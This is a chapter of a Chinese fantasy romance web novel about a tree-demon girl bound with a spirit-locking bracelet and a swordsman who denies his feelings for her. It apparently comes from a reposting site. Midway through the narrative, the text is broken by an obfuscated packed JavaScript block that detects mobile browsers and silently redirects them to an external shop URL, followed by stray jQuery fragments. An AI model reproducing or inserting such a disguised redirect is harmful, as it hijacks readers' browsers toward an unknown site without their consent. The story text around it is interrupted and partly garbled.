文趣网 > 其他小说 > 树妖今天也有好好攻略 > 24. 情劫(完)
    南献月从天上降落,她收回蛰伏在阿翘身边的那把傲月剑,淡淡道:“别在做无畏的挣扎了,有我在,这个仪式今天必将完成不了。”

    古树能感觉到这个女人身上所散发出来的强大气息,它不敢松懈,阿翘此时已经被疼得昏了过去,她露在外面的皮肤开始出现裂痕,随后蔓延出类似于水滴状的金色粒子。

    “够了,她这副身躯承受不住这么多力量。”南献月在一旁出剑打断他们的施法。

    一瞬间,藤蔓迅速从阿翘的身上撤开,阿翘缓缓落在地上,看起来非常难受。

    “这…这怎么可能?”古树似乎也没想到它的举动差点给阿翘带来毁灭性的伤害。

    南献月拧了拧眉,看来就算她不来这场仪式也进行不下去,可惜,这只树妖还不能死。

    她从自己随身携带的匣子中拿出一样东西。

    古树一眼看去,不由得瞪大了眼睛,“锁灵环,你们这班剑修是如何得到这个东西的。”

    古树口中的锁灵环正漂浮在南献月的手中,正如其名,是一个环状的形态,散发出阵阵微光,周身还有金波环绕。

    “你不需要知道。”南献月一把将傲月剑刺向古树,在古树躲避的这段时间里,她把锁灵环直接跟阿翘绑定在一起。

    锁灵族固定在阿翘手腕上,逐渐形成了一个类似于藤蔓的手环,咋一看竟和普通手环没什么不同,但是阿翘在戴上地一瞬间,猛地感受到了一阵强烈的,如同抽丝剥茧般地疼痛。

    这样的疼痛比起前面那些简直是一个天上一个地下,阿翘疼得大叫,眼泪不自觉流下来,“啊啊啊啊,好痛...”

    她感到像那样硬生生把她的灵根挖出来那般的疼。

    阿翘身上的裂纹开始愈合,金光开始消散,但她的嘴里却吐出了一大口血,不仅嘴里,眼睛里,耳朵里,每个感官似乎都开始流血,“呃......”

    她似奄奄一息地躺在地上,嘴里止不住地喊疼。

    “你!”古树没有五官却已经能感受它此刻地愤怒,它伸出巨大的藤蔓想要将她拍倒在地,却不料被她尽数躲过。

    “她不会有事的,该想想你自己会如何,让她走吧。”南献月淡淡地说道,古树有些震惊,“你到底是谁派来的。”为何会知道这些。

    “你不需要知道。”南献月看都没看它一眼,完成自己的任务后,她转身就想走。

    南献月前脚还没走出去,后脚花眸他们就来了。

    一到这里,只见阿翘躺在地上,衣裙都被血水染红了,像是没有了任何活人的气息,看着阿翘类似于七窍流血地状态,他想也不想直接想要去逮住南献月。

    “说,她到底怎么了?”花眸的声音发寒,且玉剑第一次失控般地横冲直撞,直锁南献月的命脉,南献月的傲月剑同他的且玉剑在天上打了个来回,可惜,还是南献月更胜一筹。

    花眸把且玉剑召唤回来,想要继续下一个来回,一旁的穆淳熙在旁边提醒他,“这人是我的师尊,也就是风柳阁阁主。”

    花眸从未见过风柳阁阁主长什么样,待到南献月转过身来时,发现她和传闻中的风柳阁阁主的确有些相似。

    “真是可以,居然能和我的傲月剑过几招,不愧是奇才。”南献月夸奖道,她朝着穆淳熙点了点头,“只可惜,我眼盲,看不清你的剑骨。”

    穆淳熙笑道:“他资质这么好,剑骨肯定也不差。”

    花眸也意识到刚刚这人跟自己打了个来回的是南献月,朝她拱了拱手,“晚辈无意冒犯,可是前辈为何出手伤一个对谁都毫无威胁地一只小妖。”

    穆淳熙也跟着看了一眼在一旁的阿翘,脸上的笑容淡了些,“对啊师尊,这躺在地上的女孩是我们的朋友,你对她做了什么,你不至于对一只小妖下手吧。”

    面对这些质疑,南献月坦然道:“我只是奉命前行,她没事,你们不用担心。”

    穆淳熙不信,人看着都快没有呼吸了,她走过去看了看,意外地发现她居然在慢慢恢复。

    穆淳熙:“花眸,快来看,阿翘真的没事。”

    花眸也跟着走了过去,除了刚开始的一些血迹,其他的已经在恢复正常了。

    古树早在花眸前来的时候离开了,它现在确实应该好好担心担心自己。

    穆淳熙的声音从耳侧传来,“花眸,你好好看着阿翘,我去跟我师尊聊聊。”

    花眸没有应声,穆淳熙往南献月那边的方向走了过去,如今这块地方只剩下他和阿翘。

    他犹豫了一会儿,还是拿出一块手帕啼她擦了擦脸上的血,阿翘的脸颊苍白,眼睛死死闭着,花眸看着看着一股异样的情绪自他心底涌动,他囫囵吞枣地擦完后,手心停在她的额头上,为她输送灵气,希望她能不这么难受。

    他果然想的没错,她确实不能独自生存,这才离开了他多久啊。

    意识到自己在想些什么的时候,花眸的耳朵不自觉变得滚烫起来,真该死,他把头偏向一边,不能被这小妖柔弱的外表所迷惑了。

    另一边,穆淳熙正在哄着自己的师尊。

    南献月:“这么久不见面,一见面就来质问你家师尊,你到底站那边的?”

    穆淳熙:“哎呀哎呀,人家肯定相信师尊不会干出那样的事啦,我只是装个样子而已,咱们这么久不见就不能不谈这个话题吗?。”

    南献月:“......”

    南献月一时无言,纵是习惯了自家徒儿的性格,可这么多年过去了,她依旧是一点长进都没有。

    花眸把自己的外衫脱下来,覆在阿翘的身上,然后起身朝着穆淳熙师徒二人走去。

    “刚才晚辈心急,无意冒犯,还请前辈不要在意。”花眸回想一番,觉得刚才自己那般举动属实是有些不妥。

    显然南献月并不在意这些,她想了想,道:“无妨,这小妖,是你的意中人?”

    闻言,穆淳熙瞪大眼睛朝他看去,“深藏不露啊花眸,我就说你对她不一般!”

    花眸:“......我。”我什么时候对她不一般了。

    “不,她不是我所属之人。”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17775413|207005||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    “于我而言她并不是特殊的,我对她与对任何人都是一样的情感。”花眸抬眼看向南献月,“不过,阁主,我相信你比我更加清楚她是谁吧。”

    南献月愣了愣,随后略带欣赏地看向他,“你倒是敏锐。”

    花眸:“不然你闭关这么多年,一出关就为了处理这只小妖的事,按照常理来说她应该不简单。”

    南献月:“.........”确实。

    穆淳熙摩挲着下巴,“说的好有道理啊。”

    “...嗯。”南献月无话可说,“我只能告诉你,她是你的劫。”

    穆淳熙:“那不就是情劫吗,谁不知道花眸有个情劫。”

    花眸:“.........”

    穆淳熙拍了拍他的肩膀,“情劫靠缘,既然你们那么有缘分不得好好珍惜,也别修什么无情道了,直接和阿翘修成正果吧。”

    花眸咬牙切齿道:“..........能不能闭嘴。”

    也许是察觉到花眸周遭低压的气息,穆淳熙汕汕地笑了笑,不再吭声。

    南献月短促地笑了一声,见没人发现自己,她又恢复了那副若无其事的样子,“好了,我只能点你到这了你的选择都由你自己决定。”

    说罢,她踏上早已做好准备的傲月剑,“我该走了,还有淳熙,此次任务你让别的人陪花眸去,你就别去了。”

    “为何?”穆淳熙一身反骨,“我就要去,这一路上多好玩啊。”

    南献月一噎,道:“顽固。”

    她也没有再劝穆淳熙,自行踏剑准备起飞。

    “师尊,你这就走啦?”穆淳熙朝她挥了挥手,“再见,我会回风柳阁常看您的。”

    南献月抿了抿唇唇,没理这家伙。

    南献月走了,花眸才想起宁秋,“快把她带出去,估计她的姐妹都有担心死她了。”

    “嗯好。”穆淳熙应了一声,小心翼翼背起阿翘朝外边走去。

    想起当时花眸二人路过此处,宁秋一脸慌张地求他们帮你,说阿翘出事了,花眸当时的心境,非常着急,甚至看见南献月误以为是她干的,不明不白地冲上去质问它,简直太不像他了。

    他从来都万分冷静,不会这么地慌了阵脚,想来都是那情劫在作祟,若是没有这情劫,他与阿翘必定是八竿子打不着一边的人,所以这一切都是情有可原的。

    花眸在心底告诫自己,他决对不会爱上任何人,这时间唯有情爱能蒙蔽人的双眼,有了情就会有软肋,他想要的,从始至终都说至高无上的力量。

    这么想着,他决定与阿翘拉开距离,可这样可能会有些太明显了,算了,一切如常,他问心无愧。

    待到他们出去后,宁秋与梁佩宁在外面已经恭候多时了,看见穆淳熙背上的阿翘,她赶忙凑了过去。

    “我的阿翘,你没事吧。”宁秋一把鼻涕一把泪的抹着,穆淳熙看她哭成这样,给她递了一块手帕,“别担心她没事。”

    天色渐渐暗了下来,花眸道:“走吧,先找个地方歇脚。”